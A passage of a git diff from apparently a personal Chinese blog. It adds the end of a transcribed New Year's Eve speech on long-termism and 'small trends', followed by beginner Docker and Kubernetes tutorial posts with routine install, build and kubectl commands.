通过师哥师姐方方面面的成功，在校的师弟师妹有机会看到各种各样的人生可能性。这本身就是教育。 + +5. 受邀而来参加活动的那些来宾，即使不是十一学校的校友，他们会不会因此建立对十一学校的认同感？ + +6. 当毕业生回来看老师，当年教过这个学生的老师，就会受到非常强的激励。他们会看到自己教育的成果，会更好地教今天的学生。 + +你看这个飞轮一直在转，带动了很多人、很多层次的关系。 + +现在我给你看的这张照片，就是当年的班主任给回来结婚的学生证婚。 + +李希贵校长做了这么一件事，他的信用飞轮就一环扣一环地转起来。不仅影响到校友和学生的关系，还能优化在校生和学校的关系，更能优化社会上其他人和这个学校的关系。这只是一个小例子，他的大量教育实践，都是用这个信用飞轮的原理启动起来的。 + +我们在场的大部分人，肯定不是十一学校的校友，但是只要我这么一转述，你就能感受到这个信用飞轮的力量。没准将来哪一天的茶余饭后，你也会把这个故事讲给别人。你看，你也参与到了对十一学校这个信用飞轮的推动中。 + +我今天讲这个信用飞轮的逻辑，只想证明一点：*这个世界绝不会只变成机器的世界、算法的世界、代码的世界。这个世界在很多场景下，完全呈现为一个人推动人的世界。* + +杨勇加入了一个信用飞轮，李希贵启动了一个信用飞轮，我接下来给你讲第三个故事。 + +## 3 + +几年前，有一个小伙子，他来到了杨勇工作的那个片区，他也刚开始一份新的工作，他也想启动一个自己的信用飞轮。他想干一个App，就是「得到」。 + +很多人都想知道我们到底是怎么干的，我只能说，我们干的最对的一件事，就是一开始把账算对了。做对了这件事，我才有机会推动那个信用飞轮的第一下。 + +那是笔什么账呢？就是算清楚我们有多少用户。你可能会说：这还用算？你们不是有数据统计吗？你怎么可能连自己有多少用户都不知道呢？是，按照数据统计，我们今天有2600万用户。但我们得问问，这就是我们的用户吗？坦白地说，其中很大一部分，都只是下载过「得到」，被数据记录在案而已，一年都未必用一次这个App。我没有那么狂妄，我不敢恬着脸说，我拥有2600万用户。 + +那我怎么算我的用户数量呢？刚才我们讲的信用飞轮那套逻辑，教会了我怎么算。我只看一个数据：就拿今年来说，有240万人把得到App里的内容转发给了他的朋友。这240万人，把得到的内容转发了3500万次。什么叫转发？就是*用他们的判断，背书了我们对内容的判断；用他们的信用，推动了我们的信用。*这就是我刚才讲的，信用飞轮人推人。这里面没有算法的事，没有人工智能的事。 + +就这么多人，这240万兄弟姐妹，你们是我们的用户。感谢你们！2018年，很多人喊流量焦虑，我是完全没有的。看着240万和2600万之间的差距，我的内心就很乐观，工作努力空间还很大。 + +我们从第一天开始，就是这么算账的。这么算账可能会让市场、让同行瞧不起，因为数字太小。但是我们只有这么算账，才能让我们始终处于信用飞轮当中。 + +如果有一天「得到」这个产品算做成了，未必会是因为它有多大的流量，而是因为更多人从「得到」的信用飞轮中获得了力量。到那个时候，假设它做成了，至少我应该能同时看到三件事： + +第一，越来越多的用户，愿意把「得到」的产品分享给他的朋友，帮助我们带来更多的好用户； + +第二，越来越多的老师，愿意拿他们最重要的知识产品和「得到」合作，因为得到的用户质量高； + +第三，越来越多的公司，愿意把一个人在「得到」上的学习记录作为评价一个人学习能力的重要依据，因为得到的老师教学水平好。 + +你看到了吗？这三件事都不是孤立的，它们是紧密咬合，层层推动的。这就是我梦想的这个产品的未来。 + +你们不用点掌声祝福我早日看到这一天么？ + +气氛都烘到这了，一年一度的朋友圈大型信用验证现场，必须开始了。亲用户们，不管你在现场，还是在屏幕之前，拿出你的手机，点开你的相机，准备好了吗？屏幕上这张图片，求拍照，求转发。转发的时候，请带上三个字——*“我相信”*。 + +之所以请求您带上“我相信”这三个字，是因为这还不是我们的现状。但是，你现在做的每一次转发，都是在监督我们，督促我们无限接近这个目标。 + + +# 第七部分：时间愿意和我做朋友吗？ + +## 1 + +关于小趋势，前面我们讨论了第四个问题：我的力量从哪里来呢？我们知道，用人的体验丈量世界，启动你的信用飞轮，你就会有力量。 + +现在，最后一个问题来了。这可能是本场演讲最扎心的一个问题，这个问题平时就很残酷，在这个晚上问出来，尤其扎心。我们的主题叫《时间的朋友》，所有关心这个活动的人，都希望自己是时间的朋友。但是，你问没问过自己：我想和时间做朋友，但是时间愿意和我做朋友吗？ + +我们先来看，什么人肯定和时间做不成朋友。 + +这两年，很多人抱怨抖音是个时间黑洞，把自己的时间和精力吃掉了。当然了，作为一个几千名工程师开发的工具，抖音的目的就是为你服务、吸引你的眼球、耗尽你的时间。在算法的力量下，不管你内心有多少种隐秘的欲望，它都能测试出来，捕捉到、满足它、诱惑你。你哪里是被抖音耗尽了时间，你是把自己的欲望放出了瓶子，但自己又收不回来。时间碎片化了，你也把自己碎片化了。那时间怎么和你做朋友呢？ + +怎么办呢？我给你看我的一个同事是怎么玩抖音的。我们都知道，抖音背后是算法。你打开它，算法会想，“您来了，您上座，我好好伺候您”。数据显示您是一先生，那您要不要看美女？要不要听段子？我们这位同事对此一概装作没看见。他只看一种视频，就是打羽毛球的。因为他希望通过刷抖音，精进自己的羽毛球技术。 + +算法怎么能善罢甘休呢？每给他推几个羽毛球，就偷偷给他推一个美女，再来测试下。我那位同事就是坚持不听、不看、不打开。是不喜欢美女吗？不是。而是因为他知道，只要点一下美女，那紧接着就是无穷无尽的美女。 + +算法一看不奏效，就会换个办法，既然爱看羽毛球，那就给你点儿网球、排球、乒乓球试试？我这位同事还是坚持不听、不看、不打开。结果怎么样呢？时间不长，他生生把抖音调教成了一个高效率的学习工具。你想，把高手的羽毛球动作视频分解为15秒，反复分解给你看，时间一长，你的羽毛球水平当然会大增。 + +那段时间，我看见他就问，还和抖音较劲呢？他说：“对，我正在驯化它。” + +你发现了吗？*只要你能足够地强大，跳出时间给你设置的陷阱，你就能成为时间的朋友。*这位同事还告诉我一点，如果你三天不打开抖音，再打开，美女、段子就会再次偷偷跑进来，你只能从头开始。你看，这个驯化抖音的例子告诉我们，要持续地、长期地守住目标。这种行为模式，叫作*“长期主义”*。只有长期主义者，才能成为时间的朋友。 + +![](/uploads/2019/01/02-14.jpg) + +就像吴声提醒的：长期主义不仅要坚持你想做的事情，而且不能中断你在做的事情，还要持续地不被诱惑。一旦中断，前功尽弃。 + +小趋势的信号即使再微弱，只要一旦被识别出来，长期主义就能把它放大。 + +*任何一个人，不管你的力量强弱，放眼于足够长的时间，你都可以通过长期主义这种行为模式，成为时间的朋友。* + +## 2 + +我知道你心中可能有一个疑问，不是说“时间会磨损一切”吗？时间怎么可能成为一个信号的放大器呢？ + +2018年2月20日，亚马逊的贝索斯公开发了一条消息，宣布自己参与投资的万年钟开始建造。这座钟建在美国西部得克萨斯州的群山中。这座钟，每一年秒针跳一格，每一百年分针动一次，每一千年有一只报时鸟出来报时，整个钟的设计寿命是一万年。 + +你会说，这不就是有钱人的行为艺术么？这有啥用呢？等这只钟的分针第一次挪动，我们这批人即使有百岁人生，也都不在了呀。这分明就是个秀啊。人生不过百年，千年尺度上的事太虚无了。但是，你还真别这么看。 + +其实，在中国西部甘肃省的群山中，就有这么一个万年钟，已经走了1600多年。你们很多人都看过。 + +1600年前，有一位叫乐尊的僧人，云游来到敦煌。在一座山脚下停下来休息时，夕阳照在对面的三危山上，刹那间金光万道。他被眼前的情景极大地感染了，便决定留下来，请人在山上开凿石窟，用以修行。这是敦煌的第一座石窟，这是这座万年钟走出的第一格。 + +此后，这座钟就走起来了，走了一千多年，无数后继者效仿乐尊的模式，继续开凿石窟，雕塑佛像，绘制壁画。当地人管这里叫千佛洞，全世界都知道这里是中华艺术瑰宝、世界文化遗产——莫高窟。 + +当我们说莫高窟是中华艺术瑰宝的时候，你不觉得奇怪吗？莫高窟那些传世作品的创造者，其实只是普通的工匠。他们画的每一笔，他们刻的每一刀，本来是要被湮没的呀。如果不汇入这条长期主义的大河，所有的努力都会随风而逝。而现在，虽然工匠们的名字没有留下来，但他们活着时候的努力，成了中华艺术瑰宝，他们也成了中华艺术瑰宝的创作者。 + +所谓的伟大，有时候就是这么回事。*普通人的努力，在长期主义的复利下，会积累成奇迹。时间帮助了他们，他们成为了时间的朋友。* + +说到这里你可能还是觉得抽象，这和我的人生有什么关系？什么一千年一万年？能不能教我一个短平快就能见效，但又符合长期主义精神的方法？ + +还真有，哪怕时间短到一个月，你也可以运用长期主义的策略，达成自己的目标。你信不信？*一千年有一千年的干法，一个月有一个月的干法。* + +给你分享个真事：我有一个前同事，和他们办公室的一个女孩处于关系的暧昧期，双方都处在互相试探的阶段。有一次男孩出差，回来之后就跟女孩说：“我知道你喜欢哈利·波特，出差给你带了一个小礼物，看到后随手给你买的。”女孩没啥心理负担，就笑纳了。 + +第二周这男孩又悄悄跟女孩说：“其实我还给你带了一个，这周再送给你。”第三周又来一个，第四周还有一个。分了四次，把他给女孩选的礼物，送给了对方。 + +体会一下，这个时候女孩心里被撩动的程度。一次性送个很贵的礼物，希望出手快、效率高，谁都会，但这未必能打动一个好女孩。但是，挺便宜的小礼物，很用心地分几次连续送出去，把时间这个变量加进来，把长期主义这个算法加进去，你会发现，它的力量是不一样的。 + +在去年的跨年演讲上，我跟大家介绍了一个人生算法的公式：*一个人的成就，来自一套核心算法乘以大量重复动作的平方。*这其实就是长期主义的原则，做一件事，长期地去做，持续地去做。你看，无论是这为期一个月的生活插曲，还是我们准备持续20年的跨年演讲，一直到修筑1600年的莫高窟，再到设计寿命一万年的钟，是不是都符合这个算法的公式？ + +说到这里，你就能理解接下来我要向你介绍的这件事的力量了。 + +## 3 + +距离2019年，越来越近了。我们的跨年演讲本身就是一件长期主义的事，而今年，我们要再加上一件长期主义的事：每年跨年之际，我们都将会全球首发一个我们心目中的年度最重要的知识产品。而今年，我们要首发的这个产品，它本身就是在印证长期主义。 + +这个产品的正式发布，我想留到新年钟声即将敲响的那个最有意义的时刻。我先跟你聊聊，它诞生的过程。 + +有一次我和经济学家何帆老师吃饭，他说他特别喜欢一本写美国历史的书——《光荣与梦想》。那是写美国崛起年代的，他这辈子也想写一本这样的书。我问，你为啥不写？而且你这个时候写，比《光荣与梦想》还伟大。《光荣与梦想》是事后回顾，而你有机会伴随这个国家的变化，一年一记录，一年一出版，连续记录30年。在人类历史上，还没有人以这样的发心和做法去干一个文化工程。这事只要干，不可能不成。何帆老师说，正合我意。 + +从我们谈到这个创意到他下决心，中间有几个月。这几个月，我不知道他是怎么想的，但是我知道他的难处。30年，太长了，这过程中会发生什么，不知道。我的跨年演讲，也才20年。但是我知道，这个信用飞轮一旦推动起来，它会卷入多少人和资源，会为多么独特的历史记录和记忆标杆。 + +在长期主义这个放大器里，个体的努力都堆成了奇迹。历史上无一例外，只要是长期主义，不管是司马迁，还是莫高窟，都会成为奇迹。何帆做这件事，肯定不例外，他也一定会成。 + +你看，*虽然这个世界充满了不确定性，但是你可以用自己的超级确定性，来对冲外界的不确定。* + +这个世界到处充满了算法，算法每时每刻都在试探你、判断你、诱惑你、套路你。这个世界好像很危险。为什么算法很危险呢？因为算法是一个整体，我们作为一个人，被算法解体了，变成了碎片化的数据。 + +作为个体，我们貌似无力反抗。但是，我们手里还扣着一张王牌。我们为什么命中注定只能被碾压为碎片，只能成为被利用的数据呢？我们为什么不能反过来，成为一个整体性的算法，来整合外部世界呢？我们也可以是算法，外部世界也可以是数据。 + +就像吴伯凡老师发出的那个灵魂拷问：*这个世界其实正在发生一场博弈。你是数据？还是算法？* + +我们每个人其实都有得选。只要我们是一个长期主义者，我们就有机会反败为胜，我们就有机会把自己变成算法。世界是丰盛的资源，还是恶意的陷阱，取决于你是否坚持长期主义。 + +听到何帆老师的这个创意，你可能已经很兴奋，在这么一个不确定的时代，居然有这么一个确定的成功方式。很神奇吧？只要听到这个创意，你心里其实已经有了判断，“这事肯定能成”。唯一变数，就是能不能坚持下来。当然，你肯定也想到了，坚持下来，30年，很难的，何帆老师很苦的，这后半辈子不就撂进去了么？ + +慢着，谁说的？难道你忘了我们前面说的百岁人生吗？我们来算算账：这件事干完，30年后，何帆老师才70多岁。他完全还有时间再讲一个故事，再干一件大事。这才是我们这代人真正的天赐好运。我们一生可以用几套算法，讲几个大故事、好故事。 + +每年的跨年时刻，我们都将发布一个年度最重要的知识产品。今年当然就应该是何帆老师这个30年的大项目第一次亮相。我们将发布他第一年的知识成果——一本书，这本书叫做《变量》。 + +新年马上就要来了，何帆老师最新著作，《变量》这本书从天而降。即使它身上没有未来30年的宏大意义，我也想说，它是你2019年的第一本必读书。在坐的各位现在是没有看过的，但我看过。我愿意用一个知识服务者的信用为它背书。 + +这本书的主题，和我们今年跨年演讲的主题一样，都叫“小趋势“。更准确地说，这本书是剥离眼下的那些速起速朽的小事，通过慢变量，找到小趋势。 + +如果你对以下几个问题感兴趣： + +第一，中美关系的底层逻辑是什么？ + +第二，中国特色的技术路线是啥样？ + +第三，未来中国最有生机的城市在哪里？ + +第四，新兴产业和传统产业融合的方式是啥？ + +第五，平时我们看不到的中国边缘之处，正在发生什么？ + +除了这本书，在得到App上，何帆还对这本书亲自作了深度的解读，制作了一门课。这门课是得到App的年终大课，叫《何帆报告2018-2019》。 + +刚才提到的这几个问题，也许都曾经在你自己的脑子里思考过，也许很多人都在谈论。但是，以30年为尺度来看这些问题产生的那些答案，只有这本书有。2019年你的第一本必读书《变量》，推荐给你。 + +如果你想成为全世界第一批掌握这些小趋势的人， + +如果你想加入到何帆老师这个30年的长期计划之中， + +如果你想见证这个庞大的知识工程从奠基到竣工的完整过程， + +如果你想成为何帆老师此后30年苦行和长跑的第一批同路人， + +如果你想成为这个“新莫高窟”工程的知识赞助人， + +一定不要错过这本书。 + +让我们的用户领先于所有人，享受最好的知识服务，这一次我们又做到了。 + +2019新年的钟声马上要敲响。来，送自己一个新年礼物吧。 + + +# 第八部分：尾声 + +## 1 + +2019年还是来了。天高地广，世界又是一个新的样子。不管2018年我们过得怎样，我们都有机会重来，也必须重来。 + +此时此刻，我还想再跟你分享何帆老师《变量》这本书里面，我看到的一个故事。故事的主人公是中国的一个边缘人群——留守儿童。 + +对留守儿童，你的印象可能是，这是中国社会最无助的一个人群，他们家境贫困、教育资源很少，甚至还得不到父母日常的陪伴和照顾。总之，一想起留守儿童，我们总会觉得这是一群前途渺茫的孩子。 + +但是，2018年，何帆探访了一个山区小学。规模非常小，一共只有28名幼儿园孩子、43名小学生和12位老师。何帆老师在那里看到了什么呢？跟我们坐在大城市里面的想象完全相反——山区、留守儿童，并不是一个悲惨世界。何帆得出一个连他自己都震惊的结论：*所有最先锋的教育理念，在这所山区小学都能看到。*不可思议吧？ + +我们来看看，发生了什么。 + +大山里的学校，在高考面前，确实没有什么竞争力。所以这就产生了一个附带的结果，“升学率”这个指标对这个学校来说，也就没有什么意义，大家自然就不玩命追求那个目标。你看，大城市里的学校做不到吧？ + +最困扰的那件事就解决了，这个学校天然就不再是应试教育了。学校的老师和孩子们奔的那个教育目标，就不再是分数，而更有可能回到教育的初始目的——育人，让学生成为社会合格的一份子。你看，卸下了包袱，教育回到了它的本来面目。 + +从这个起点开始，事情就起了一系列变化。 + +因为学生不足，他们自然就变成了小班教学，这是最先进的教育理念吧？一个班七八个学生，每个老师分配给每一个学生的时间变多了，关注就变多了。你看，大城市很难做到吧？ + +因为学校资源不足，所以就不能关起门办学，所以必须融入乡村，和周边的老乡密切地打交道，跟社区共生。于是，学校不再是一座教育孤岛、一个考试集中营，孩子们除了上课，还要采蘑菇、拾柴火、参观水电站等，通过走出学校来理解真实的世界，学校和外界的围墙变模糊了。怎么样？做到这一点，大城市很难吧？ + +因为学生家长不在身边，这本来不是一件好事，但与此同时也产生了一个附带结果：大城市里那种家长对学校教育的干扰，也就消失了。老师和学生变成了生活共同体，孩子遇到难事可以扑到老师怀里。这样一来，老师可以按照自己的教育理想，塑造学生的人格。你看，做到这一点，大城市很难吧？ + +何帆老师说，这所小学里的孩子，是他见过的最快乐、最自信的孩子。 + +我们只要稍微调动一下社会常识就知道，这样的孩子长大了，他们的一生一定不会差。不管能不能上大学，都不影响他们成为自食其力、有社会尊严、有手艺的劳动者。他们的根牢牢扎在这个社会里，他们获得幸福的能力一点都不比那些城市里的孩子差。 + +说到这里，你意识到什么没有？ + +有些东西，过去的生活经验告诉我们，它们很重要，我们在它们那里也能获得安全感，但是我们很少反思，我们为了获得这个安全感付出的代价是什么？天下没有免费的午餐。所有获得的安全感，背后一定有隐形的成本。没有它真的就不行吗？比如对于教育来说，高考也是这么个东西。如果你不把高考当作唯一的安全感来源，教育的另一种可能性就会呈现出来，另外一种生命力就会开始萌发成长。 + +2018年后半年，很多人会说：变化来了怎么办？整场下来，你明白了吧。一个做事的人，怎么会怕变化呢？我是巴不得变化到来的，如果这个世界没变化，还有什么机会轮得着我吗？ + +再退一步讲，当变化发生的时候，你说我们做事的人有得选吗？摆在我面前的只有两种选择：一种是害怕，然后就不做事；第二种是窃喜，发生变化的时候有人害怕了，我做事的机会就来了。你说我选什么？ + +何帆在《变量》这本书里提醒我们，*历史一直奔涌不息，但它有时候是一个反转大师。反转大师提供的机会，你不能辜负。* + +我们再看一眼这所学校，它叫范家小学，它的位置在四川省广元市利州区宝轮镇苟村一组。这样的地方，在中国大地上到处都是。等你拿到《变量》这本书，关于这个故事你能看到更多细节。 + +## 2 + +我并不是说，所有的边缘地带都如此美好。但是在这个故事中你会读到，在中华文明中，确实有一个现象，就是无论在多么边缘的地方，都生长着一种向上的力量。即使在一个山村里，一个不认识字的老奶奶，摸着小孩子的头，她也一定会说，“娃呀，好好学习，有出息，将来考大学、挣大钱，孝敬你爸妈”。 + +这是在中国每一个角落都存在的现象，这是中国几千年文明传承的一个基本的内心规则：我们得向上。永远不要低估包括你在内的、中国人身上那种朴素的、但是又强烈的向上的冲动。 + +你可不要认为这种向上的冲动，这种精神动力，是所有文明都有的，是天经地义的。这其实是我们中国人独享的红利，是中国教育两千五百年才积累出来的精神红利。 + +感谢你坚持到现在，夜已经深了。2019年的第一束曙光就快打过来了。新的一年里，什么都可能会变。但有一件事肯定不会变了，我们一生都不会变了——2018-2019的跨年之夜，是我们这些人在一起度过的。那我再来清点一下，在过去的4个小时里，我们一起收获了什么？ + +*三个字：小趋势。* + +小趋势是什么？是影响趋势的趋势，带来改变的改变。小趋势没法跟，也不用跟。只需要我们随时感知它，然后激发那些你早已准备好的力量。 + +怎么准备呢？刚才我们提的所谓扎心五问，就是做准备的几个方向： + +*抓住小趋势，首先总得了解事实真相；* + +*抓住小趋势，你要能挣脱观念枷锁；* + +*抓住小趋势，你得重新定位生命的坐标；* + +*抓住小趋势，你得学会从人的身上汲取力量；* + +*抓住小趋势，你还得有一套长期主义的人生算法。* + +有了这五条，小趋势来的时候，你就会把自己像一粒子弹一样，发射出去。 + +如果你觉得这还是太复杂，我想和你分享我大学军训的时候，教官教给我的那句打靶口诀——“有意瞄准，无意击发”。 + +什么意思？一个人趴着射击，全部的力气和注意力都要指向目标，用全部的精力去瞄准，这叫“有意瞄准”。至于什么时候扣动扳机，不知道。无法预设，也不必预设。 + +真正让你扣动扳机的那个信号，也就是今天说的小趋势，可能是风吹草动，可能是心流涌现，只要它到了，一瞬间就可以调动全部此前的准备，一发子弹打出去。 + +你可能会说，打不中怎么办？还能怎么办，继续瞄准啊。感知到下一个小趋势，再打一发。 + +今年的跨年演讲我们问，2018怎么看？ + +就像约翰·列侬说的：*“所有事到最后都会是好事。如果还不是，那它还没到最后。”* + +那么，2019怎么办呢？ + +就像作家阿尔贝·加缪说的：*“对未来最大的慷慨，是把一切献给现在。”* + +最后，让我们郑重地对我们的合作伙伴表示感谢： + +独家冠名：东风日产 天籁； + +唯一二十年合作伙伴：vivo； + +首席赞助商：创维电视、泰康、积家手表、金典、百年泸州老窖窖龄酒、卡萨帝、新潮传媒、江小白； + +联合特约：中信银行、好慷在家、启信宝、VOSS + +各位伙伴，感谢有你！ + +![](/uploads/2019/01/02-15.jpg) \ No newline at end of file diff --git a/_posts/2019-01-03-333-docker.md b/_posts/2019-01-03-333-docker.md new file mode 100644 index 0000000..96fbf0f --- /dev/null +++ b/_posts/2019-01-03-333-docker.md @@ -0,0 +1,61 @@ +--- +layout: post +title: 带你从零了解Docker +pid: 333 +tags: [docker] +--- + +```shell +yum remove docker docker-common docker-selinux docker-engine -y +yum install -y yum-utils device-mapper-persistent-data lvm2 +yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo +yum makecache fast +yum install docker-ce -y +sudo systemctl enable docker +sudo systemctl start docker +sudo systemctl daemon-reload +docker pull hello-world +docker images +docker run -it hello-world +docker ps -a + +docker search php +docker pull php:5.6-fpm +docker images + +mkdir -p ~/php-fpm/logs ~/php-fpm/conf +cd php-fpm/ +vim Dockerfile +docker build -t php:5.6-fpm . +docker rmi 3c6963d39c34 +``` + +/etc/docker/daemon.json + +```conf +{ + "registry-mirrors": [ + "加速地址" + ], + "insecure-registries": [] +} +``` + +以下是国内加速地址 + +Docker中国区官方镜像(http://www.docker-cn.com/registry-mirror) + +https://registry.docker-cn.com + +网易 + +http://hub-mirror.c.163.com + +ustc + +https://docker.mirrors.ustc.edu.cn + + +# 参考 + +[带你从零了解Docker](https://mp.weixin.qq.com/s/U25LS34tlAe3pJJWr76oZQ) diff --git a/_posts/2019-01-07-334-network.md b/_posts/2019-01-07-334-network.md new file mode 100644 index 0000000..67ad90c --- /dev/null +++ b/_posts/2019-01-07-334-network.md @@ -0,0 +1,36 @@ +--- +layout: post +title: Docker网络模式 +pid: 334 +tags: [docker] +--- + +# Bridge 模式 + +```shell +docker run -d -p 5000:5000 registry +docker pull hello-world +docker tag fce289e99eb9 localhost:5000/hello-world:v1 +docker push localhost:5000/hello-world:v1 +docker rmi localhost:5000/hello-world:v1 +docker pull localhost:5000/hello-world:v1 +docker run -it localhost:5000/hello-world:v1 +``` + +# Host 模式 + +```shell +docker run --net=host -d registry +``` + +# Container 模式 + +```shell +docker run --name registry1 -p 5000:5000 registry +docker run --name busybox -d --net=container:registry1 busybox:latest +``` + +# None 模式 + +# Overlay 模式 + diff --git a/_posts/2019-01-09-335-demo.md b/_posts/2019-01-09-335-demo.md new file mode 100644 index 0000000..b7f7f49 --- /dev/null +++ b/_posts/2019-01-09-335-demo.md @@ -0,0 +1,85 @@ +--- +layout: post +title: Docker示例 +pid: 335 +tags: [docker] +--- + +# Docker 安装与配置 + +这个问题自己解决 + +# 执行步骤 + +File dir +```shell +demo +|-- Dockerfile +|-- index.js +`-- package.json +``` + +CLI + +```shell +mkdir demo +cd demo +vim Dockerfile +vim index.js +vim package.json +docker build . +docker images +docker run -p 3000:3000 -it 32c9a5b01b73 +curl http://127.0.0.1:3000 +curl http://129.28.122.72:3000/ +``` + +Dockerfile + +```Dockerfile +FROM node:6.2.2 +WORKDIR /app +ADD . /app +RUN npm install +EXPOSE 300 +CMD npm start +``` + +index.js + +```index.js +var express = require('express'); +var app = express(); +app.get('/', function(req, res) { + res.send('Hello World!'); +}); +var server = app.listen(3000, function() { + var host = server.address().address; + var port = server.address().port; + + console.log("Example app listening at 'http://%s:%s'", host, port); +}) +``` + +package.json + +```package.json +{ + "name": "myapp", + "version": "1.0.0", + "scripts": { + "start": "node index.js" + }, + "dependencies": { + "express": "^4.16.2" + } +} +``` + + +# 参考 + ++ [Docker — 从入门到实践](https://github.com/yeasy/docker_practice/) ++ [Docker —— 從入門到實踐](https://philipzheng.gitbooks.io/docker_practice/content/) ++ [Kubernetes 30天學習筆記](https://github.com/zxcvbnius/k8s-30-day-sharing) + diff --git a/_posts/2019-01-10-336-pod.md b/_posts/2019-01-10-336-pod.md new file mode 100644 index 0000000..4d6554a --- /dev/null +++ b/_posts/2019-01-10-336-pod.md @@ -0,0 +1,81 @@ +--- +layout: post +title: Pod示例 +pid: 336 +tags: [k8s] +--- + +```demo +# my-first-pod.yaml +apiVersion: v1 +kind: Pod +metadata: + name: my-pod + labels: + app: webserver +spec: + containers: + - name: pod-demo + image: baoguoding/demo + ports: + - containerPort: 3000 + +kubectl create -f my-first-pod.yaml +kubectl get pods -n default +kubectl get pods --show-all +kubectl describe pod my-pod -n default +yum install socat +kubectl port-forward my-pod 8000:3000 +kubectl expose pod my-pod --type=NodePort --name=my-pod-service +kubectl get services +kubectl describe service my-pod-service + + +[root@VM_0_12_centos ~]# kubectl get pods --all-namespaces -o wide +NAMESPACE NAME READY STATUS RESTARTS AGE IP NODE NOMINATED NODE +default my-pod 1/1 Running 0 49m 192.168.45.2 172.27.0.17 +[root@VM_0_12_centos yaml]# kubectl expose pod my-pod --type=NodePort --name=my-pod-service +service/my-pod-service exposed +[root@VM_0_12_centos yaml]# kubectl get services +NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE +kubernetes ClusterIP 192.17.17.1 443/TCP 1h +my-pod-service NodePort 192.17.17.239 3000:31482/TCP 13s +[root@VM_0_12_centos yaml]# curl 127.0.0.1:31482 +Hello World![root@VM_0_12_centos yaml]# curl 127.0.0.1:31482 +Hello World![root@VM_0_12_centos yaml]# kubectl get ep +NAME ENDPOINTS AGE +kubernetes 172.27.0.12:6443 1h +my-pod-service 192.168.45.2:3000 2m +[root@VM_0_12_centos yaml]# kubectl describe service my-pod-service +Name: my-pod-service +Namespace: default +Labels: app=webserver +Annotations: +Selector: app=webserver +Type: NodePort +IP: 192.17.17.239 +Port: 3000/TCP +TargetPort: 3000/TCP +NodePort: 31482/TCP +Endpoints: 192.168.45.2:3000 +Session Affinity: None +External Traffic Policy: Cluster +Events: + + + +kubectl get pods +kubectl get pods --show-all +kubectl describe pod +kubectl expose pod --port= --name= +kubectl port-forward : +kubectl label pods = +kubectl get pods --show-labels +``` + + +# 参考 + ++ [Docker — 从入门到实践](https://github.com/yeasy/docker_practice/) ++ [Docker —— 從入門到實踐](https://philipzheng.gitbooks.io/docker_practice/content/) ++ [Kubernetes 30天學習筆記](https://github.com/zxcvbnius/k8s-30-day-sharing) diff --git a/_posts/2019-01-10-337-replication.md b/_posts/2019-01-10-337-replication.md new file mode 100644 index 0000000..412180f --- /dev/null +++ b/_posts/2019-01-10-337-replication.md @@ -0,0 +1,46 @@ +--- +layout: post +title: Relication示例 +pid: 337 +tags: [k8s] +--- + +```demo +# my-replication-controller.yaml +apiVersion: v1 +kind: ReplicationController +metadata: + name: my-replication-controller +spec: + replicas: 3 + selector: + app: hello-pod-v1 + template: + metadata: + labels: + app: hello-pod-v1 + spec: + containers: + - name: my-pod + image: baoguoding/demo + ports: + - containerPort: 3000 + +kubectl create -f my-replication-controller.yaml +kubectl get rc +kubectl describe rc my-replication-controller +kubectl get pods +kubectl describe pod my-replication-controller-d8tlt +kubectl delete pod my-replication-controller-d8tlt +kubectl scale --replicas=4 -f my-replication-controller.yaml +kubectl get rc +kubectl delete rc my-replication-controller --cascade=false +kubectl delete pods --grace-period=0 --force +``` + + +# 参考 + ++ [Docker — 从入门到实践](https://github.com/yeasy/docker_practice/) ++ [Docker —— 從入門到實踐](https://philipzheng.gitbooks.io/docker_practice/content/) ++ [Kubernetes 30天學習筆記](https://github.com/zxcvbnius/k8s-30-day-sharing) \ No newline at end of file diff --git a/_posts/2019-01-10-338-deployment.md b/_posts/2019-01-10-338-deployment.md new file mode 100644 index 0000000..869dfac --- /dev/null +++ b/_posts/2019-01-10-338-deployment.md @@ -0,0 +1,54 @@ +--- +layout: post +title: Deployment示例 +pid: 338 +tags: [k8s] +--- + +系統升級(Rollout) & 回滚(Rollback) + +```demo +# my-deployment.yaml +apiVersion: apps/v1beta2 # for kubectl versions >= 1.9.0 use apps/v1 +kind: Deployment +metadata: + name: hello-deployment +spec: + replicas: 3 + selector: + matchLabels: + app: my-deployment + template: + metadata: + labels: + app: my-deployment + spec: + containers: + - name: my-pod + image: baoguoding/demo + ports: + - containerPort: 3000 + + +kubectl create -f my-deployment.yaml +kubectl get deployment +kubectl get pod --show-labels +kubectl get rs +kubectl get all +kubectl expose deploy hello-deployment --type=NodePort --name=my-deployment-service +docker build -t baoguoding/demo:v2.0.0 . +docker push baoguoding/demo:v2.0.0 +kubectl set image deploy/hello-deployment my-pod=baoguoding/demo:v2.0.0 +kubectl rollout status deploy hello-deployment +kubectl edit deploy hello-deployment +kubectl rollout history deploy hello-deployment +kubectl set image deploy/hello-deployment my-pod=baoguoding/demo --record +kubectl rollout history deploy hello-deployment +kubectl rollout undo deploy hello-deployment --to-revision=2 +``` + +# 参考 + ++ [Docker — 从入门到实践](https://github.com/yeasy/docker_practice/) ++ [Docker —— 從入門到實踐](https://philipzheng.gitbooks.io/docker_practice/content/) ++ [Kubernetes 30天學習筆記](https://github.com/zxcvbnius/k8s-30-day-sharing) \ No newline at end of file diff --git a/_posts/2019-01-10-339-service.md b/_posts/2019-01-10-339-service.md new file mode 100644 index 0000000..7fea58a --- /dev/null +++ b/_posts/2019-01-10-339-service.md @@ -0,0 +1,41 @@ +--- +layout: post +title: Service示例 +pid: 339 +tags: [k8s] +--- + +```demo + +# my-service.yaml + +apiVersion: v1 +kind: Service +metadata: + name: hello-service +spec: + type: NodePort + ports: + - port: 3000 + nodePort: 30390 + protocol: TCP + targetPort: 3000 + selector: + app: my-deployment + +kubectl create -f my-service.yaml +kubectl get svc + +kubectl run -i --tty alpine --image=alpine --restart=Never -- sh +apk add --no-cache curl +curl : + +kubectl exec -it hello-deployment-6db6b6cbdf-6bfr8 sh +curl : +``` + +# 参考 + ++ [Docker — 从入门到实践](https://github.com/yeasy/docker_practice/) ++ [Docker —— 從入門到實踐](https://philipzheng.gitbooks.io/docker_practice/content/) ++ [Kubernetes 30天學習筆記](https://github.com/zxcvbnius/k8s-30-day-sharing) \ No newline at end of file diff --git a/_posts/2019-01-11-340-labels.md b/_posts/2019-01-11-340-labels.md new file mode 100644 index 0000000..166377e --- /dev/null +++ b/_posts/2019-01-11-340-labels.md @@ -0,0 +1,70 @@ +--- +layout: post +title: Labels示例 +pid: 340 +tags: [k8s] +--- + +```demo +# my-pod.yaml +apiVersion: v1 